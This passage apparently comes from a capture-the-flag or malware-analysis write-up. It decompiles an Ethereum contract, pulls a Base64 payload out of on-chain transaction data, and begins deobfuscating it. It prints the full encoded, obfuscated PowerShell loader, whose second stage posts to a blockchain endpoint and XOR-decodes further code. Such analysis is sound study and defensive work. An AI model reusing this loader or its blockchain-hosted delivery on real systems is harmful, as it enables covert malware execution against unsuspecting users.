v4 = 0x483(array_0.length);
if (v4) {
if (31 < v4) {
v5 = v6 = array_0.data;
do {
MEM[v2] = STORAGE[v5];
v5 += 1;
v2 += 32;
} while (v3 + v4 <= v2);
} else {
MEM[v3] = array_0.length >> 8 << 8;
}
}
v7 = new bytes[](v1.length);
MCOPY(v7.data, v1.data, v1.length);
v7[v1.length] = 0;
return v7;
}
Ethereum contracts have two types of memory:
MEM, which is an array used to store temporary data
STORAGE, which is a decentralized storage used to store data permenantly on the blockchain At a high level, this function copies some data from
v1
, which is a byte array, intov7
, and returns it. Thev1
array is defined by calling the function0x483
onarray_0
, which is a global array defined using the STORAGE, and then converting the result to byte array. In other words, this function is a sort of read from the contract’s storage. let’s analyze the other method:
1
2
3
4
5
6
7
8
9
10
11
12
function func_0x916ed24b(bytes varg0) public payable {
require(4 + (msg.data.length - 4) - 4 >= 32);
require(varg0 <= uint64.max);
require(4 + varg0 + 31 < 4 + (msg.data.length - 4));
require(varg0.length <= uint64.max, Panic(65));
v0 = new bytes[](varg0.length);
require(!((v0 + ((varg0.length + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) + 32 + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) > uint64.max) | (v0 + ((varg0.length + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) + 32 + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) < v0)), Panic(65));
require(varg0.data + varg0.length <= 4 + (msg.data.length - 4));
CALLDATACOPY(v0.data, varg0.data, varg0.length);
v0[varg0.length] = 0;
func_0x14a(v0);
}
Skipping past all the assertations (require
), this function copies its argument into the array v0, and then calls func_0x14a
on v0. This function, func_0x14a
asserts that the caller of the function is the owner of the contract, and then writes the data passed in its argument into the contract’s storage:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
function func_0x14a(bytes varg0) private {
require(msg.sender == address(0xab5bc6034e48c91f3029c4f1d9101636e740f04d), Error('Only the owner can call this function.'));
require(varg0.length <= uint64.max, Panic(65));
v0 = func_0x483(array_0.length);
if (v0 > 31) {
v1 = v2 = array_0.data;
v1 = v3 = v2 + (varg0.length + 31 >> 5);
while (v1 < v2 + (v0 + 31 >> 5)) {
STORAGE[v1] = STORAGE[v1] & 0x0 | uint256(0);
v1 = v1 + 1;
}
}
v4 = v5 = 32;
if (varg0.length > 31 == 1) {
v6 = array_0.data;
v7 = v8 = 0;
while (v7 < varg0.length & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) {
STORAGE[v6] = MEM[varg0 + v4];
v6 = v6 + 1;
v4 = v4 + 32;
v7 = v7 + 32;
}
if (varg0.length & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 < varg0.length) {
STORAGE[v6] = MEM[varg0 + v4] & ~(uint256.max >> ((varg0.length & 0x1f) << 3));
}
array_0.length = (varg0.length << 1) + 1;
} else {
v9 = v10 = 0;
if (varg0.length) {
v9 = MEM[varg0.data];
}
array_0.length = v9 & ~(uint256.max >> (varg0.length << 3)) | varg0.length << 1;
}
return ;
}
This method writes its argument into the STORAGE (the decentralized memory). In other words, it’s a write. We can therefore conclude that the second call in the JS reads the data from the contract’s storage at some point in time (since the contents of the storage changes at each write) using the method func_0x5c880fcb
, and saves it to a file. To see what this data is, we can go into the transactions tab on the second contract in the BInance explorer:
Let’s analyze the latest transaction. In the more details tab, we can see the exact data that was passed in the call:
1
0x916ed24b00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000e34615735325430746c4c57565963464a4663314e4a623234674b45356c56793150516b706c5133516755336c7a644556744c6b6c764c6c4e30556d566854564a465157526c5569676f546d56584c553943536d56446443424a6279354454303151556b565463306c506269356b5a575a735156526c633352795a5746744b43426263316c545647564e4c6b6c764c6d316c6255395365564e30556b56685456306757324e50546e5a46636e52644f6a706d556b3974596b467a52545930553352796155356e4b436471566d52795979744d523056324d3039794e57704c536d686b6346465464314e426258685462474a7957565976576e6b335646563153553031645574486345787054556458526e6c54566b354961486844554467356344426c616b497251327330636b747262566f33645731594e6d4d32567a51774e316c6b5a44597a655338324f576f3357474a314e7a4d35626e51765954646965454a6e4d456c755a6a4a504f4868684e573431626a52586247704552584669534778426333704e5246563457584a6b64326870636c6f79524564565a32526d527a463061586852553068715679744d576b684751304d77633231496148424463554579645552794e48517264456c344b303576613270594f576c3357575a5662314a5859324631546b6c464c33557a63306455553064486332314c5656707161555a715a33517a516d64744e7a646e54544274527a56785556526c526e465a567a56444d564e42626e6474523146354d474a4255466452547a4a4f6347786e4e3167346432787865445a505a54646d6145593563553435566a5a6b59334e595a553472656d6854553056594f456c7564315134576d4a4352334650565446476432746a52793934595374435155354f57544e35656d4e6f4f45314761565534576d353664444e6f625531794b3246315344524e6279744d61576c744b7a63355a6e5a435348513562586334547a646f4f47464a4e454e4b55473533556a6c78655449335a45705154454e344e6e4d7264546472597a4e734e6e64506232354e646c6459656a644e65484a694e58524c4d476859645764776156564a53566c4b56477777637a4e4b646b3956636b644651576b724d585a7763314e4b566d303363314a31556b644b4e315a35646c637264326469526c526959545a474b334e33646d7478565552435a585a6a4b336c74554646614b30784e59554e4c4c306f784e4374346354687464585a4f6430356b61314a6861455a365a30357a597a465a536d38774d555934626e4a6c53334634596b737656553079636d30724d546454526a5a30546a64705a455a514d307459596d6c5662456853555642575445553355455673566d685357576b3161546c435a555275546e5a574b334e54625773325155745a536d52344d6b68574b33646b5754457265456778633246715355706f5a6d55304d5752345a336376526c5979564568714f4756554e444275616e70595357566161303948517974454d6b597864455230626c6c78574564484c316457536d7033536e4230556d633365584933513352514d544a61546a5245554768305a7a46544e4756505747593254586c6d62556b7655485246655574334b7a4e6a5355387a5356684f61456c7164564a7a5455464253306468596e4a55576b73305233424e516c4e42627a6c4961326c4656486478564449336257784b4e5552695669395454336c6c63545a345a584a425933704255584e5464564e5153334a4b5a6b524f5432526b656e6c4b4e6b78545455315564544e7356465249537a6b765a5373725455643263445668656d4a785a69395462584d726447644e536e464e63444e594f544e464e4842305a5459315232705555444272526b7079534531704d58553063574a796458524362474a555545704852476861566b5930537a64596231566a4b304e7253325a76516a463053466859556b7471636d637264576c31624849344c7938305969387a6356644c4e58465063693947546d4572575656774f5539616548637857544e4956465a6163335a45536a5134656a6433516c70795230457a626d74585545706d4c3270744d453549526b4e314f55643654325a79656c597a576c513154564d76516d6c4b546e4e304e4868576432566a62304e775245396e5255786b4d4556444b3235554d45593457445257656d6c466230314d5a7a68464b314e6e63325a5a5448423355466734624374525333567a564652506231644355556b336445315255484635516b5135655552324e4670595745686861556849554668565654684f62476331656e5a74526b4530513364314f456c4752457461536d78315158564555316c44554452335630466d4f48466c53554a6a536a426f534641764e56597262484e724e47497a63464e705a3163354d54426f54585a4f4e6d4e6a57454a344d6d4a3551584a53656b7733526d46786246524c536e6c7353335a6e5154644d635670315a33424955573135567a644954564a6e6343394e6248707754316c444f455a595245786d5a6d6b33547a42464d4656694f576c554f446335536d683362693877526a464a556e5254654856445433517753576f33576a52535a32464d51533879567a566b63545a354b304a534d30784364477475536d63724e43396d643235595a6b70536443394c4e564e3356474a5452573575636a524e525468464d48424e57464e725257744c53476873656c4e61576d78735656646e556b3971566a457a544556796430525953555245563077764b33564f613056304e336c4b5646517662334a514c3168614d7939305548527a5546673562475532596c6833545442334d47564355316c36516e6851616b55324f4846565a6b5176636e70584e6d4e59574852485a5578496444426a543351775a5763325445355161474d7255455a324e7a564551336c45516a5a73546e4a4264325a4e614768424e5552555931464e56544a5855457454536a4a51636e64304e574a435531424c626a5a7752454e4f536b4a526432777756323559527a4e355457355053303534543246615747525961476c75656b3578516b4a3355454a524b306f304f476c5a536d7835536b785a5a486c50634539474d584e7763456869626b39446144553056325a7262326733565464306457526c6346646c4d6c6b345248646a52553975537a4a43623252734d335a56626d5a464d6b396c5a5770495a6e593561586859646b527757464631557a4e7462474d7952324a3463574a715532563353444533554842355447777964484a4f5a5731745555393352564631536d565055445a484f565a4b5357784e4e6e6c4557467034626e5a7652336854566b467456484649616b7874546a6c5562456c484c324e7361586c6e62466c6a6146464d65466877596b633461465577576d78695a45355064585278596c42314d7a6875525339454e5756795469745561574d33635739714b306b7a556d524f59586444526e56744d6c70534f47316c5958564f6431464552453946656e5179616b4e4b574456785647396b55306c445231524d576b4e53643274614e6d7844576d686f634656725447396857556855635751335645786d6233565854306c354e6c4a354e476b7764484e334d544e7a515446504d53744451304a4f65484a4f4d30354d62544d315a6c426d4f457450564531724d7a42306256704551316c3555474e7a5a56704e4e6b3956616b39565546523052453169575464775a584279526e527455555572616c5a355a58686d566b3831564535514d55354c51585931546a523454577461576b4e565232467164455644566b73344d58687056555a6c62303579526c6848544451316245647364586831525339364b304a4e5756637a533039796455453452326879616d5636626e464856455a6d4f5746574d316c515755316d62565a4e516e4d324d6a6476616c42784d315a3461484a6857577842536e42434f5442595258464c534570424d5778705a444a78616b4673526a51795956705761303879616d4a6b54444a575345686c4f474a3556575a4c536d786861485234575577776355466b4e4546456158464553326b7861326c4a64464634613256464e6b56776332686c596e597a635651724e53394e616b6873526a45776256517762304a50616b73784e304e6a543352515930393061326c3253577853566d566e656e7070643035704e336873554846715a324661636a4e54543277786248417a616e683651303945546d7873623256726557564d53586842516e425655565a6a565641774d6b38354d574e305233467461314e4e5a574633595752494e5651784d334a4b536b4654546b3972566e523655324e76613342594f5570584b31704b55336b3165574e4a536e67726433425254307849616e52724d4459776246685861565a7759545268645445794d3239745630747662464e30536c4e544f565a78546a4a6f616a4a7a4d556b30596a4a6d647a5134516d6332576b706c4e6b38794c305655545535715a6a68544d3352494b325633616d56424e7a42364e4570524f55746f646b4e7452574e6f523363774c31597a567a6c4e574574704d6938326247387856314a6f53306778626a6c5655314e61596d523251556f3153446b7a556e4a49566d567952334e7763566432567a427253474a365a31704f4c315a71545578744d6b784a62326c555a6d6c355a6d684b64446c6d546b6b316457397a4c7a4a594f444277617a425554575a4c52486735625642454d4451345244686b54303550536b785164556f7a624446355a6d3979596b316864466851566d564e4e546c504b3346575a6a42324a7941704943776757326c504c6d4e766258425352564e545355394f4c6b4e766258425352584e54615739755457396b5a5630364f6d52465932394e55484a4663334d674b5341704943776757314e355533524662533555525668304c6b56755132396b5355356e58546f3659584e4453556b704b5335535a57464556453946546b516f4b513d3d000000000000000000000000
First of all, from of the first 4 bytes, we can see that this is a call to method 0x916ed24b, or the write method. If we examine at the UTF-8 version of the data, we see that the data itself (without the metadata, e.g. the method id) it is Base64-encoded:
1
aW52T0tlLWVYcFJFc1NJb24gKE5lVy1PQkplQ3QgU3lzdEVtLklvLlN0UmVhTVJFQWRlUigoTmVXLU9CSmVDdCBJby5DT01QUkVTc0lPbi5kZWZsQVRlc3RyZWFtKCBbc1lTVGVNLklvLm1lbU9SeVN0UkVhTV0gW2NPTnZFcnRdOjpmUk9tYkFzRTY0U3RyaU5nKCdqVmRyYytMR0V2M09yNWpLSmhkcFFTd1NBbXhTbGJyWVYvWnk3VFV1SU01dUtHcExpTUdXRnlTVk5IaHhDUDg5cDBlakIrQ2s0cktrbVo3dW1YNmM2VzQwN1lkZDYzeS82OWo3WGJ1NzM5bnQvYTdieEJnMEluZjJPOHhhNW41bjRXbGpERXFiSGxBc3pNRFV4WXJkd2hpcloyREdVZ2RmRzF0aXhRU0hqVytMWkhGQ0Mwc21IaHBDcUEydURyNHQrdEl4K05va2pYOWl3WWZVb1JXY2F1TklFL3Uzc0dUU0dHc21LVVpqaUZqZ3QzQmdtNzdnTTBtRzVxUVRlRnFZVzVDMVNBbndtR1F5MGJBUFdRTzJOcGxnN1g4d2xxeDZPZTdmaEY5cU45VjZkY3NYZU4remhTU0VYOElud1Q4WmJCR3FPVTFGd2tjRy94YStCQU5OWTN5emNoOE1GaVU4Wm56dDNobU1yK2F1SDRNbytMaWltKzc5ZnZCSHQ5bXc4TzdoOGFJNENKUG53UjlxeTI3ZEpQTEN4NnMrdTdrYzNsNndPb25NdldYejdNeHJiNXRLMGhYdWdwaVVJSVlKVGwwczNKdk9VckdFQWkrMXZwc1NKVm03c1J1UkdKN1Z5dlcrd2diRlRiYTZGK3N3dmtxVURCZXZjK3ltUFFaK0xNYUNLL0oxNCt4cThtdXZOd05ka1JhaEZ6Z05zYzFZSm8wMUY4bnJlS3F4YksvVU0ycm0rMTdTRjZ0TjdpZEZQM0tYYmlVbEhSUVBWTEU3UEVsVmhSWWk1aTlCZURuTnZWK3NTbWs2QUtZSmR4MkhWK3dkWTEreEgxc2FqSUpoZmU0MWR4Z3cvRlYyVEhqOGVUNDBuanpYSWVaa09HQytEMkYxdER0bllxWEdHL1dWSmp3SnB0Umc3eXI3Q3RQMTJaTjREUGh0ZzFTNGVPWGY2TXlmbUkvUHRFeUt3KzNjSU8zSVhOaElqdVJzTUFBS0dhYnJUWks0R3BNQlNBbzlIa2lFVHdxVDI3bWxKNURiVi9TT3llcTZ4ZXJBY3pBUXNTdVNQS3JKZkROT2RkenlKNkxTTU1UdTNsVFRISzkvZSsrTUd2cDVhemJxZi9TbXMrdGdNSnFNcDNYOTNFNHB0ZTY1R2pUUDBrRkpySE1pMXU0cWJydXRCbGJUUEpHRGhaVkY0SzdYb1VjK0NrS2ZvQjF0SFhYUktqcmcrdWl1bHI4Ly80Yi8zcVdLNXFPci9GTmErWVVwOU9aeHcxWTNIVFZac3ZESjQ4ejd3QlpyR0EzbmtXUEpmL2ptME5IRkN1OUd6T2ZyelYzWlQ1TVMvQmlKTnN0NHhWd2Vjb0NwRE9nRUxkMEVDK25UMEY4WDRWemlFb01MZzhFK1Nnc2ZZTHB3UFg4bCtRS3VzVFRPb1dCUUk3dE1RUHF5QkQ5eUR2NFpYWEhhaUhIUFhVVThObGc1enZtRkE0Q3d1OElGREtaSmx1QXVEU1lDUDR3V0FmOHFlSUJjSjBoSFAvNVYrbHNrNGIzcFNpZ1c5MTBoTXZONmNjWEJ4MmJ5QXJSekw3RmFxbFRLSnlsS3ZnQTdMcVp1Z3BIUW15VzdITVJncC9NbHpwT1lDOEZYRExmZmk3TzBFMFViOWlUODc5Smh3bi8wRjFJUnRTeHVDT3QwSWo3WjRSZ2FMQS8yVzVkcTZ5K0JSM0xCdGtuSmcrNC9md25YZkpSdC9LNVN3VGJTRW5ucjRNRThFMHBNWFNrRWtLSGhselNaWmxsVVdnUk9qVjEzTEVyd0RYSUREV0wvK3VOa0V0N3lKVFQvb3JQL1haMy90UHRzUFg5bGU2Ylh3TTB3MGVCU1l6QnhQakU2OHFVZkQvcnpXNmNYWHRHZUxIdDBjT3QwZWc2TE5QaGMrUEZ2NzVEQ3lEQjZsTnJBd2ZNaGhBNURUY1FNVTJXUEtTSjJQcnd0NWJCU1BLbjZwRENOSkJRd2wwV25YRzN5TW5PS054T2FaWGRYaGluek5xQkJ3UEJRK0o0OGlZSmx5SkxZZHlPcE9GMXNwcEhibk9DaDU0V2Zrb2g3VTd0dWRlcFdlMlk4RHdjRU9uSzJCb2RsM3ZVbmZFMk9lZWpIZnY5aXhYdkRwWFF1UzNtbGMyR2J4cWJqU2V3SDE3UHB5TGwydHJOZW1tUU93RVF1SmVPUDZHOVZKSWxNNnlEWFp4bnZvR3hTVkFtVHFIakxtTjlUbElHL2NsaXlnbFljaFFMeFhwYkc4aFUwWmxiZE5PdXRxYlB1MzhuRS9ENWVyTitUaWM3cW9qK0kzUmROYXdDRnVtMlpSOG1lYXVOd1FERE9FenQyakNKWDVxVG9kU0lDR1RMWkNSd2taNmxDWmhocFVrTG9hWUhUcWQ3VExmb3VXT0l5NlJ5NGkwdHN3MTNzQTFPMStDQ0JOeHJOM05MbTM1ZlBmOEtPVE1rMzB0bVpEQ1l5UGNzZVpNNk9Vak9VUFR0RE1iWTdwZXByRnRtUUUralZ5ZXhmVk81VE5QMU5LQXY1TjR4TWtaWkNVR2FqdEVDVks4MXhpVUZlb05yRlhHTDQ1bEdsdXh1RS96K0JNWVczS09ydUE4R2hyamV6bnFHVEZmOWFWM1lQWU1mbVZNQnM2MjdvalBxM1Z4aHJhWWxBSnBCOTBYRXFLSEpBMWxpZDJxakFsRjQyYVpWa08yamJkTDJWSEhlOGJ5VWZLSmxhaHR4WUwwcUFkNEFEaXFES2kxa2lJdFF4a2VFNkVwc2hlYnYzcVQrNS9NakhsRjEwbVQwb0JPaksxN0NjT3RQY090a2l2SWxSVmVnenppd05pN3hsUHFqZ2FacjNTT2wxbHAzanh6Q09ETmxsb2VreWVMSXhBQnBVUVZjVVAwMk85MWN0R3Fta1NNZWF3YWRINVQxM3JKSkFTTk9rVnR6U2Nva3BYOUpXK1pKU3k1eWNJSngrd3BRT0xIanRrMDYwbFhXaVZwYTRhdTEyM29tV0tvbFN0SlNTOVZxTjJoajJzMUk0YjJmdzQ4Qmc2WkplNk8yL0VUTU5qZjhTM3RIK2V3amVBNzB6NEpROUtodkNtRWNoR3cwL1YzVzlNWEtpMi82bG8xV1JoS0gxbjlVU1NaYmR2QUo1SDkzUnJIVmVyR3NwcVd2VzBrSGJ6Z1pOL1ZqTUxtMkxJb2lUZml5ZmhKdDlmTkk1dW9zLzJYODBwazBUTWZLRHg5bVBEMDQ4RDhkT05PSkxQdUozbDF5Zm9yYk1hdFhQVmVNNTlPK3FWZjB2JyApICwgW2lPLmNvbXBSRVNTSU9OLkNvbXBSRXNTaW9uTW9kZV06OmRFY29NUHJFc3MgKSApICwgW1N5U3RFbS5URVh0LkVuQ29kSU5nXTo6YXNDSUkpKS5SZWFEVE9FTkQoKQ==
Decoding this yields the following string:
1
2
(.venv) ➜ clearlyfake echo "..." | base64 -d
invOKe-eXpREsSIon (NeW-OBJeCt SystEm.Io.StReaMREAdeR((NeW-OBJeCt Io.COMPRESsIOn.deflATestream( [sYSTeM.Io.memORyStREaM] [cONvErt]::fROmbAsE64StriNg('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' ) , [iO.compRESSION.CompREsSionMode]::dEcoMPrEss ) ) , [SyStEm.TEXt.EnCodINg]::asCII)).ReaDTOEND()
Looks like we’ll have to do some powershell debofuscation! The obfuscation here has several stages, but isn’t very complicated, especially when when it’s done dynamically
Deobfuscating the payload
First Stage
First of all (this is something that’s common in Powershell obfuscation), Powershell doesn’t care whether functions are written in lowercase or uppercase. The Invoke-Expression
(or invOKe-eXpREsSIon
, as it’s written in the above payload) runs powershell code from a string, like the system
function common in many programming languages. If we replace it with echo
(which does the same thing as in bash), we can see the second stage of the payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
(("{39}{64}{57}{45}{70}{59}{9}{66}{0}{31}{21}{50}{6}{56}{5}{22}{69}{71}{43}{60}{8}{35}{68}{44}{1}{19}{41}{30}{67}{38}{18}{7}{33}{54}{63}{34}{61}{24}{48}{4}{47}{3}{40}{51}{26}{42}{15}{37}{12}{10}{11}{52}{14}{23}{29}{53}{25}{16}{49}{55}{62}{36}{27}{28}{13}{17}{46}{20}{2}{65}{58}{32}"-f 'CSAKoY+K','xed','P dKoY+KoYohteM- doKoY+KoYhteMtseR-ekovnI(( eulaV- pser emaN- elbairaV-teS
)1aP}Iz70.2Iz7:Iz7cprnosjIzKoY+KoY7,1:Iz7diIz7,]KCOLB ,}Iz7bcf088c5x0Iz7:Iz7atadIz7,KoY+KoYIz7sserddaK6fIz7:Iz7otIz7KoY+KoY{[:Iz7smarapIz7,Iz7llac_hteIz7:Iz7d','aBmorFsKoY+KoYetybK6f(gnirtSteKoY+KoYG.8FTU::]gniKoY+KoYdocnE.txeKoY+KoYT.metsyS[( KoY+KoYeulaV- KoY+KoYiicsAtluser emaN-KoY+KoY elbairaV-teS
))2setybK6f(gniKoY+KoYrtS46esaBmorF::]trevnoC[( eulaV- 46esaBmorFsetyb ema','tamroF # Â _K6f f- 1aP}2X:0{1aP
{ tcejbO-hcaEroF sOI ii','KoY+KoYab tlKoY+KoYuKoY+KoYser eht trevnoC #
}
 ))]htgneL.setyByekK6f % iK6f[setyByekK6f roxb-','teS
)gnidocne IICSA gnimussa( gnirts','KoY+KoYV-','eT[( eulaV- 5setyb emaN- elbairaV-teS
)}
)61 ,)2 ,xednItratsK6f(gnirtsbuS.setyBxehK6f(etyBo','c[((EcALPER.)93]RAHc[]GnIRTS[,)94]RAHc[+79]RAHc[+08]RAHc[((EcALPER.)63]RAHc[]GnIRTS[,)57]RAHc[+45]RAHc[+201]RAHc[((EcALPER.)KoY
dnammocK6f noisserpxE-ekovnI
)Iz7galfZjWZjW:C f- 1aPgaKoY+KoYlfZjWZjW:C > gnirtStlKoY+KoYuserK6KoY+KoYf ohce c/ dm','N- ','elbai','yb ema',')tl','.rebmuNxehK6f(etyBoT::]trevnoC[ Â ','0setybK6f(gni','Y+KoYcejbO-hcaEroFKoY+KoY sOI )1','user.)ydob_K6f ydoB- Iz7nosj/noitacil','usne( setyb ot xeh KoY+KoYmorf trevnoC #
)Iz7Iz7 ,Iz7 Iz7 ecalper- setyBxehK6f(KoY+KoY eula','nItrats em','noKoY+KoYC- tniopdne_tentsetK6f irU- 1aPtsoP1a','eT.metsyS[( eulaV- gnirtStluser emaN-',' ]iK6f[5setybK6f( + setyBtluserK6f( eulaV- ','KoY+KoY
)1 + xednKoY+KoYItratsK6f( eu','eS
)}
srettel esacrKoY+KoYeppu htiw xeh tigid-',' KoY+KoYtKo','ulaV','f( eulaV','- rebmuNxeh emaN- elbairaV-teS
xiferp 1aPx01aP eht evomeR KoY+KoY#
','laV- xednIdne KoY+KoYema','F sOI )1 ','oY::]gnidocnE.tx','eSKoY( G62,KoY.KoY ,KoYriGHTToLeftKoY) DF9%{X2j_ } )+G62 X2j(set-ITEM Â KoYvArIAbLE:oFSKoY KoY KoY )G62) ',' setyBxeh em','etirW#
 )1aP 1aP KoY+KoYnioj- setyBxehK6f( eulaV- gnirtSxehKoY+KoY emaN- elbairaKoY+KoY','T::]trevnoC[
)1 + xednItra','alper- pserK6','rtSteG.8FTU::]gnidocnE.txeT.metsyS[( eulaV- 1set','elbairaV-tKoY+KoYeS
)sretcarahc xeh fo sriap gnir','. ( X2jEnV:coMspec[4,26,25]-jOInKoYKoY)(G62X2j(set-iTem KoYVAriABle:OfSKoY Â KoYKoY )G62 + ( [STrinG][REGEx]:','N- elbairaV-teS
sety','aN- elbairaV-teS
{ tcejbO-hcaEro','- 2setyb emaN- eKoY+KoYlbairaV-teS
))',' eht mrofreP ','ne emaN- elbairKoY+KoYaV-teS
)2 * _K6f( eulaV- ','-]2,11,3[EmAN.)KoY*rdm*KoY ElBAIrav((.DF9)421]RAHc[]GnIRTS[,KoYsOIKoY(EcALPER.)','ppaIz7 epyTtnet','csAtlKoY+KoYuserK6f( euKoY+KoYlaV- setyBxeh emaN- elbairaV-teS
))46es','owt sa etyb hcae ',' - 2 / htgneL.rebmuNxehK6f(..0( eulaV- 0setyb emaN- elbairaV-teS
)sretcarahc xeh fo sriap gnirusne(K',' elbairaV-','b ot 46esab morf trevnoC #
))881 ,46(gnirtsbuS.1setybK6f( e','raV-teS
 )}
)61 ,)2 ,xednItratsK6f(gnirtsbuS','N- elbairaV-teS
)2 * _K6f( eulaV- xednItrats emaN- elbairaV-teS
{','aN-','oY+KoY setyb ot xeh morf trevnoC #
)1aP1',' a ot kc','YNIoJ','aN- elbairaV-t','cALPER.)KoYaVIKoY,)09]RAHc[+601]RAHc[+78]RAH','#
))Iz742NOERALFIz7(setyBteG.IICSA::]gnidocnE.txeT[( eulaV- setyByek emaN- elbairaV-teKoY+KoYS
setyb ot yek eht trevnoC #
))3setybK6f(gnirtSteG.8FTU::]gnidocnE.tx','V-t','aP ,1aPx01aP ec',' elbairaV-teS
gnirtSxKoY+KoYehK6f tuKoY+KoYptuO-',':MATCHeS(G62)KoYKo','ohtemIz7{1aP( eulaV- ydob_ emaN- elbairaV-teS
)Iz7 Iz7( eulaV-KoY+KoY tniKoY+KoYopdne_tentset em','c1aP maKoY+KoYrgorp-sserpmoc-esu-- x- ratIzKoY+KoY7( eulaV-KoY+KoY dnammoc emaKoY+KoYN- elbairaV-teS
))setyBtluserK6f(gnirtSteGKoY+KoY.II','- 2 / htgneL.setyBxehK6f(..0( eulaV- 3setyb emaN- ','tsK6f( eulaV- xednId','setyBtluser emaN- ','43]RAHc[]GnIRTS[,)37]RAHc[+221]RAHc[+55]RAHc[((E','elbairaVKoY+KoY-teS
{ )++iK6f ;htgneL.5setybK6f tl- iK6f ;)0( eulaV- i emaN- elbairaV-teS( rof
))(@( eulaV- setyBtluser emaN- KoY+KoYelbairaV-teS
noitarepo ROX')).REpLACE('DF9','|').REpLACE('KoY',[STrinG][cHaR]39).REpLACE(([cHaR]71+[cHaR]54+[cHaR]50),[STrinG][cHaR]34).REpLACE('X2j','$').REpLACE('aVI',[STrinG][cHaR]92) | &( ([stRing]$VErboSEpRefeReNCe)[1,3]+'X'-joiN'')
Second Stage
It’s a bit hard to see the nesting, but essentially the code is of the following form:
1
